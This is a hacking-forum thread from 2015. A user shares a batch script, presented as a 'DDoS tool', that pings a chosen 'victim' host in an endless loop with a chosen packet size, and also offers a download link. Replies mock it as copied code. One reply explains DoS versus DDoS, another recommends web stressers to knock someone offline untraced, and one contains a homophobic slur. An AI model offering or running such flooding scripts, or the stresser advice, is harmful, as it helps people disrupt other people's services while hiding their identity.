Thread: [I make my Own DDos tool... \[SMALL TOOL\]](#)

Elite_x - October 21, 2015, 9:39 am

i make small Ddos tool... it's is a small Ddos tool.. now i give you it. it is not a programme. only batch file...

[www\[DOT\]adf\[DOT\]ly/10761745/ddos-tool-by-elite-x](http://www[DOT]adf[DOT]ly/10761745/ddos-tool-by-elite-x)

You can download it...

cant you download please copy this code and save it with ".bat" extension..

```
Quote:@echo off
mode 67,16
Title Ddos by Elite_x
color 05
cls
echo.
echo -----
echo Ddos batch made by Elite_x
echo -----
echo.
set /p T=Target URL:
echo.
echo -----
echo.
ping %T%
echo.
echo -----
@ping.exe 127.0.0.1 -n 5 -w 40000 > nul
goto next
:next
echo.
echo.
set /P m=IP host:
echo.
set /p n=Packet size:
echo.
:DDOS
color 0c
echo sending Packet to server %m%
ping %m% -i %n% -t >nul
goto DDOS
```

now run your programme.. next you should enter Victim site URL.. then you can see that site IP address..

next add the site IP and give packet between 0 - 40000...

now you can see it's send packets to your victim..?

this is a small code from Elite_x...

St?lk?r - October 21, 2015, 9:41 am

Vouch for this program took down google within 10 seconds!!!!

Jk. Nice Copy & Paste

sorry, i'm a small hacker yet... i made this with Google help... ?

peeledbanana - October 21, 2015, 9:50 am

I could get this after 2 minutes of google research and the copy paste function

Elite_x - October 21, 2015, 9:51 am

yes brother i know. i get help by google.. sorry...

Vemius - October 22, 2015, 9:43 pm

if ur looking to hit some one off line with out them tracing you i suggest use a web stresser

joker.1211 - October 22, 2015, 9:53 pm

good job !! you can be hacker :D

Implorjin - October 22, 2015, 11:03 pm

Nullled google's servers gg best script loading this up on my dedi

He is just trolling..

Could I give you some useful tips?

- Do not use batch commands to make programs like this
- Do not publish stuff you didnt make with your own mind, studying other people's work may be a good way to learn, but keep the final work for yourself, nobody likes copied work
- Start with easy coding languages like Autolt or Visual Basic, you will be satisfied of your work

And you should study more what are you going to make. A DDoS is a Distributed Denial of Service. What you did is a Pinger. A DDoS is a DoS used by a botnet. A DoS uses different types of attack (like UDP, TCP, Layer-7, HTTP and more) and a botnet is a network of infected computers, so you can make all them attack a target.

This is a troll thread are you really that stupid idiot loser gay.

subzero4ever - October 25, 2015, 2:01 pm

anyway nice try but you need to learn programming language
